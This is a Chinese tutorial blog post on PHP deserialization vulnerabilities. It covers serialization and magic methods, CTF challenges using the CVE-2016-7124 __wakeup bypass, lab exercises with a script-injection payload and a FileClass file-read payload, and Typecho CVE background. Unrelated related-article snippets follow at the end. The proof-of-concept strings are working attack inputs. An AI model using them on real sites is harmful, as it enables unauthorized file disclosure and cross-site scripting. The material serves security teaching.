PHP反序列化漏洞总结

article/2025/4/17 6:03:27

文章目录

        • 一、 基础知识
          • 1、什么是反序列化漏洞:
          • 序列化与反序列化:
          • 1、序列化:
          • 2、反序列化:
        • 二、PHP魔法函数
          • 1、常见方法:
          • 2、安全问题:
        • 三、CTF中的反序列化
          • 例题一:
          • 例题二:
        • 四、靶场练习
          • 1、反序列化触发XSS:
          • 2、反序列化文件读取:
        • 五、CMS实战演示(typecho反序列化漏洞)
          • 影响版本:
          • 环境搭建:

一、 基础知识

1、什么是反序列化漏洞:

程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,通过在参数中注入一些代码,从而达到代码执行,SQL 注入,目录遍历等不可控后果,危害较大。

序列化与反序列化:

在了解反序列化漏洞之前,先来了解一下什么是序列化、反序列化以及它们的作用。

1、序列化:

序列化就是将对象object、字符串string、数组array、变量,转换成具有一定格式的字符串,使其能在文件储存或传输的过程中保持稳定的格式。

PHP中通过 serialize() 函数实现,例:

<?php
class Person {public $name = "Tom";private $age = 18;protected $sex = "male";public function hello() {echo "hello";}
}
$class = new Person();
$class_ser = serialize($class);
echo $class_ser;
?>

输出:

O:6:"Person":3:{s:4:"name";s:3:"Tom";s:11:"Personage";i:18;s:6:"*sex";s:4:"male";}

其中,从前往后依次为:O代表object,如果是数组则是 i;6代表对象名长度;Person是对象名;3是对象里面的成员变量的数量;括号里面 s 代表 string 数据类型,如果是 i 则代表 int 数据类型;4代表 属性名的长度;name即属性名;s同前面;3 代表属性值长度;Tom即属性值,后面同理(数字不显示长度)。同时注意到类里面的方法并不会序列化。

根据成员变量的的修饰类型不同,在序列化中的表示方法也有所不同。可以看到代码中三个修饰类型分别是public、private、protected。
在这里插入图片描述

  • public,没有变化
  • private,会变成 %00类名%00属性名
  • protected,会变成 %00*%00属性名

%00为空白符,空字符也有长度,一个空字符长度为 1,%00 虽然不会显示,但是提交还是要加上去。

总结:一个类经过序列化之后存储在字符串的信息只有 类名称 和 类内成员属性键值对,序列化字符串中没有将类方法一并序列化。

2、反序列化:

简单来说,反序列化就是序列化的逆过程。

通过 unserialize() 函数实现,例:

<?php
class Person {public $name = "Tom";private $age = 18;protected $sex = "male";public function hello() {echo "hello";}
}
$class = new Person();
$class_ser = serialize($class);
//echo $class_ser;
$class_unser = unserialize($class_ser);
var_dump($class_unser);
?>

输出:

object(Person)#2 (3) { ["name"]=> string(3) "Tom" ["age":"Person":private]=> int(18) ["sex":protected]=> string(4) "male" }

可以看到,将字符串反序列化出来之后的类不包含任何类方法。

二、PHP魔法函数

到目前为止,我们可以控制类属性,但还称不上漏洞,只能说是反序列化的特性,还要配合上特定函数才能发挥反序列化漏洞的威力。所以要先了解一些特殊的函数——魔术方法,这些魔术方法均可以在一些特定的情况下自动触发。如果这些魔术方法中存在我们想要执行,或者说可以利用的函数,那我们就能够进一步进行攻击。

1、常见方法:
__construct():构造函数,此函数会在创建一个类的实例时自动调用。__destruct():析构函数,此函数会在对象的所有引用都被删除或者类被销毁的时候自动调用。__sleep():执行serialize()函数之前,会检查类中是否存在_sleep()方法。如果存在,该方法会先被调用。__wakeup():执行unserialize()函数之前,会检查类中是否存在_wakeup()方法。如果存在,则会先调用_wakeup()方法,预先准备对象需要的资源。__toString():当一个对象被当作一个字符串使用时被调用。例如echo $obj或者拼接字符串时;此方法必须返回一个字符串,否则会产生 E_RECOVERABLE_ERROR 级别的错误。__get():在读取不可访问的属性值的时候,此魔法函数会自动调用。__call():在调用未定义的方法时被调用。

当然 PHP 中还有很多魔术方法没有介绍,这里只说了我认为在反序列化漏洞中比较重要的几个。

来看个示例:

<?php
class Test{public function __construct(){echo 'construct run';}public function __destruct(){echo 'destruct run';}public function __toString(){echo 'toString run';return 'str';}public function __sleep(){echo 'sleep run';return array();}public function __wakeup(){echo 'wakeup run';}
}echo '<br>new了一个对象,对象被创建,执行_construct方法</br>';
$test = new Test();echo '<br>serialize了一个对象,对象被序列化,先执行_sleep方法,再序列化</br>';
$sTest = serialize($test);echo '<br>unserialize()了字符串。先执行_wakeup方法,再反序列化</br>';
$usTest = unserialize($sTest);echo '<br>把Test对象当做字符串使用,执行_toString方法</br>';
$string = 'use Test obj as str '.$test;echo '<br>程序执行完毕,对象自动销毁,执行_destruct方法</br>';?>

执行结果:
在这里插入图片描述
通过这个例子可以清楚的看到 5 个魔法函数的执行顺序。

2、安全问题:

如何利用反序列化漏洞,取决于应用程序中存在:可用的类,类中有魔法函数,unserialize的参数用户可控。攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等。

说完上面的基础知识,现在来看一下CTF中的反序列化的例题吧。

三、CTF中的反序列化

例题一:
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{echo "$flag";
}
show_source(__FILE__);

这是一道很简单的反序列化的题,把 str 反序列化之后与 KEY 相等就能输出 flag。

把 D0g3!!! 进行序列化:

<?php
$KEY="D0g3!!!";
echo serialize($KEY);
?>

得到:s:7:"D0g3!!!";

get提交:得到flag
在这里插入图片描述

例题二:

题目源码:

<?php 
class SoFun{ protected $file='index.php';function __destruct(){ if(!empty($this->file)) {if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)show_source(dirname (__FILE__).'/'.$this ->file);elsedie('Wrong filename.');}}  function __wakeup(){$this-> file='index.php';} public function __toString(){return '' ;}
}     
if (!isset($_GET['file'])){ show_source('index.php');
}
else{ $file=base64_decode($_GET['file']); echo unserialize($file); 
}?> #<!--key in flag.php-->

代码分析:

根据注释的提示,key 在 flag.php 文件中,程序将 get 提交的 file 参数 base64 解码后再反序列化,析构函数 __destruct 可以显示 file 参数中的文件源码,同时为了题目的靶机目录安全用 strchr 函数限制了\ /,不让你任意读取文件,不过没事,我们只需要读 flag.php 即可,但是在执行反序列化之前 __wakeup 函数会先执行,并且锁定了 file 为 index.php,所以现在就是考虑绕过 __wakeup 函数。

这道题牵扯到一个CVE漏洞,CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

POC:

<?php
class SoFun{ protected $file='flag.php';
}  
$poc = new SoFun;  
echo serialize($poc);
?> 

输出:

O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}

将表示成员属性的个数的数字加1或更大的数,同时因为 file 是 protect 属性,所以需要加上\00

O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}

最后再 base64 编码,提交发现不行,查了一下发现要把 s 改为大写,因为 protected 属性的问题, private 属性也有这个问题, 改为 public 后无论大小写都可以,就算是个坑吧。

提交得到flag:
在这里插入图片描述

四、靶场练习

1、反序列化触发XSS:

这里使用的是 pikachu 的靶场。
在这里插入图片描述
查看一下源码:

class S{var $test = "pikachu";function __construct(){echo $this->test;}
}$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,来点劲爆点儿的!</p>";}else{$html.="<p>{$unser->test}</p>";}
}

代码审计:程序将 POST 提交的参数 o 赋值给 s,再将 s 反序列化后的值赋值给 unser 变量,并用@符 不输出警告 (强制转化变量的警告);若能进行赋值操作,即 s 能被反序列化,就将反序列后的 test 值写入到网页中,并在第64行源码 <?php echo $html;?>中执行;注意这里的构造函数 __construct 并不会执行。

构造POC:

<?php
class S{var $test = "<script>alert(1)</script>";
}
$a = new S();
echo serialize($a);
?>

得到:

O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

在输入框输入上面代码,触发成功!
在这里插入图片描述

2、反序列化文件读取:

靶场地址
在这里插入图片描述
本题源码:

// 当他的对象被输出时候,调用__toString
class FileClass{
public $filename = 'error.log';
// 返回读取一个文件的内容
public function __toString(){
return file_get_contents($this->filename);}
}
class User{
public $age = 0;
public $name = '';
public function __toString(){
return "User $this->name is $this->age years old";}
}
$obj = unserialize($_GET['user_serialize']);
echo $obj;

代码审计:可以看到有两个类,并且两个类中都有 __toString 函数,下面有个 echo 函数,回把我们输入的反序列内容输出,那么就会执行 __toString 函数,我们可以利用 FileClass 类中的 file_get_contents() 函数读取文件。

先在User类中测试一下:

<?php
class User{public $age = 18;public $name = "Tom";
}
$a = new User();
echo serialize($a);
?>

得到:O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:3:"Tom";}

提交得到:
在这里插入图片描述
确实可以执行我们输入的反序列化字符。

读取同目录下unser.php的文件。

POC

<?php
class FileClass{public $filename = 'unser.php';
}
$a = new FileClass();
echo serialize($a);
?>

得到:O:9:"FileClass":1:{s:8:"filename";s:9:"unser.php";}

提交,成功读取文件:
在这里插入图片描述
在这里插入图片描述

五、CMS实战演示(typecho反序列化漏洞)

简介:Typecho是使用PHP编写的博客CMS。 Typecho 1.0 版本中前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任意PHP代码。远程攻击者可借助采用 base64 编码的序列化的数据利用该漏洞发送shell命令。

CVE编号:CVE-2018-18753

影响版本:

typecho1.0(14.10.10),2017年10月24日之前的所有版本

环境搭建:

下载 typecho14.10.10,下载链接:https://github.com/typecho/typecho/tags

在这里插入图片描述
按照提示一步步安装,注意有个小坑:需要先新建一个名为 typecho 的数据库,不然会报错。

🆗,PHP反序列化的漏洞总结暂时就到这了!


http://chatgpt.dhexx.cn/article/nKo4tJ7w.shtml

相关文章

通过简单案例接触PHP反序列化

渗透学习 不安全的反序列化之反序列化基础 文章目录 渗透学习前言*本文只做学习用途&#xff0c;严禁利用本文提到的技术进行非法攻击&#xff0c;否则后果自负&#xff0c;本人不承担任何责任。* 一、序列化和反序列化二、PHP反序列化漏洞1.serialize()2.unserialize()3.反序…

php反序列化--字符串逃逸

php反序列化–字符串逃逸 PHP反序列化的字符串逃逸&#xff0c;一共分有两种情况&#xff0c;情况一&#xff1a;过滤后字符串变多&#xff0c;情况二&#xff1a;过滤后字符变少(本篇文章默认已有反序列化相关知识基础) 过滤后字符串变多 以ctfshow-web262为例讲解&#xf…

php反序列化漏洞(一)

PHP反序列化漏洞就是PHP对象注入 序列化&#xff1a;serialize 反序列化&#xff1a;unserialize 序列化其实就是将数据转换成可逆的数据结构&#xff0c;这种数据结构可认为是字符串。可逆的过程则为反序列化。 那么序列化有什么作用&#xff1f; 方便储存和传输。在PHP中…

php反序列化字符逃逸

前言 在了解php反序列化漏洞后&#xff0c;我又进一步学习了字符逃逸的相关内容。这一部分相对来说是比较难理解的。我也是在网上看了很多篇文章&#xff0c;再次自己总结一下究竟什么是字符逃逸&#xff0c;也方便日后复习。 字符逃逸的原理 什么是字符逃逸&#xff0c;从字…

php反序列化[基础]

基础 概述 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组&#xff0c;字符串&#xff0c;对象等 函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() serialize()函数用于序列化对象或数组&#xff0c;并返回一个字符串 据访问修饰…

PHP中序列化与反序列化

PHP序列化&#xff1a;serialize 序列化是将变量或对象转换成字符串的过程。 举例&#xff1a; <?php class man{public $name;public $age;public $height;function __construct($name,$age,$height){ //_construct&#xff1a;创建对象时初始化$this->name …

(37)【PHP反序列化】PHP反序列化原理、函数、利用过程

目录 一、简介&#xff1a; 二、原理&#xff1a; 2.1、函数&#xff1a; 2.1.1、serialize()序列化 2.1.2、unserialize()反序列化 三、常见的序列化格式&#xff1a; 四、产生的原因&#xff1a; 4.1、无类&#xff1a; 4.2、有类&#xff1a; 五、魔术方法&#x…

php反序列化总结

php反序列化总结 基础知识 序列化 序列化就是将 对象object、字符串string、数组array、变量 转换成具有一定格式的字符串&#xff0c;方便保持稳定的格式在文件中传输&#xff0c;以便还原为原来的内容。 serialize ( mixed $value ) : stringserialize() 返回字符串&…

PHP反序列化入门手把手详解

PHP反序列化入门手把手详解 前言:文章内容大致可分为原理详解-漏洞练习- 防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序列化原理的详细分析以及一系列由简入深的PHP反序列化习题练习和分析讲解。文章写作初…

[CTF]PHP反序列化总结

文章目录 PHP反序列化这一篇就够了简介常见的序列化格式案例引入反序列化中常见的魔术方法反序列化绕过小Trickphp7.1反序列化对类属性不敏感绕过__wakeup(CVE-2016-7124)绕过部分正则利用引用16进制绕过字符的过滤PHP反序列化字符逃逸情况1&#xff1a;过滤后字符变多情况2&am…

测试用例介绍

测试用例 用例介绍 定义 为某个业务目标而编制的一组由测试输入&#xff0c;执行条件以及预期结果组成的案例。 为什么要学习测试用例&#xff1f; 再开始测试之前设计好测试用例&#xff0c;可以避免盲目测试并提高测试效率。测试用例的使用令软件测试的实施突出重点、目…

软件测试的测试用例应该怎么编写和模板

这个是软件测试的模板下面是软件测试的一些测试点和测试方法 硬件测试方法: 1.界面测试 2.性能测试(压力测试、稳定性测试) 3.恢复性测试 4.兼容性测试 5.安全性测试 6.破坏性测试 7.可用性测试 8.易用性测试 9.功能操作测试 软件测试: loading:加载中。 可视化页面可操作元素…

测试用例模板

测试用例模板 文章目录 前言1.文件原地址2.测试用例模板1.测试用例模板012.测试用例模板023.测试用例模板034.测试用例模板045.测试用例模板05 2上线回归测试1.回归测试检查表01 3.其他见过的模型参考关键词链接 前言 这个是模仿别人的模板来进行补充的。有些是不需要的&…

测试用例模板及测试报告分析

文章目录 前言一、等价类划分二、边界值三、错误推测法四、因果图法判定表驱动法设计步骤设计策略 前言 文章主要介绍常见测试用例的设计方法 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、等价类划分 等价类划分主要适用于单个输入条件&#x…

测试 - 用例篇

文章目录 测试用例的基本要素基于需求设计的测试用例接下来就是针对一个功能的不同输入,对应着不同的输出功能之间的交互性异常信息的处理 等价类边界值错误猜测法 美团面试题:水杯测试用例场景法因果图法 复习 因为这篇博客是关于如何写测试用例,尽可能多的涵盖测试用例,所以我…

软件测试当中的测试用例模板,仅供参考

测试用例这块知识、经验&#xff0c;小酋在前面陆续都讲完了。这章提供几种用例模板&#xff0c;作为这块知识的收尾。 - 1 - 测试用例&#xff08;主指功能测试用例模板&#xff09;的内容通常包括测试目标&#xff08;目的&#xff09;&#xff0c;需求标示&#xff08;一般…

测试用例分析及编写

文章目录 1.测试用例1.1 用例与测试用例1.2 测试用例的作用1.3 测试用例的编写格式 2. 测试点的设计方法2.1 等价类划分法2.1.1 定义2.1.2 分类2.1.3 划分规则2.1.4 步骤2.1.5 适用场景2.1.6 案例2.1.6.1 验证QQ帐号的合法性2.1.6.2 验证某城市号码的正确性 2.2 边界值划分法2.…

测试用例,怎么写 ?

本文的测试用例主要针对功能测试。 软件测试中最重要的因素是设计和生成有效的测试用例。 穷举的测试是不可能的&#xff0c;合理的测试策略是通过使用特定的面向黑盒测试的测试用例设计方法&#xff0c;而后使用白盒测试方法对程序的逻辑结构进行检查以补充这些测试用例&…

测试:用例篇

上一章讲述的是测试的基本概念。在我们开始做了一段时间基础测试&#xff0c;熟悉了业务之后&#xff0c;往往会 分配来写测试用例&#xff0c;并且在日常测试中&#xff0c;有时也需要补充测试用例到现有的案例库中 在开始之前先讲讲测试中经典的测试方法&#xff1a;黑盒测试…

软件测试用例.范文,软件测试用例模板范文

软件测试用例模板范文 (8页) 本资源提供全文预览&#xff0c;点击全文预览即可全文预览,如果喜欢文档就下载吧&#xff0c;查找使用更方便哦&#xff01; 14.9 积分 XX 系统系统 测试用例测试用例 XX 系统-测试用例 1 由安博测试空间技术中心由安博测试空间技术中心 http://ww…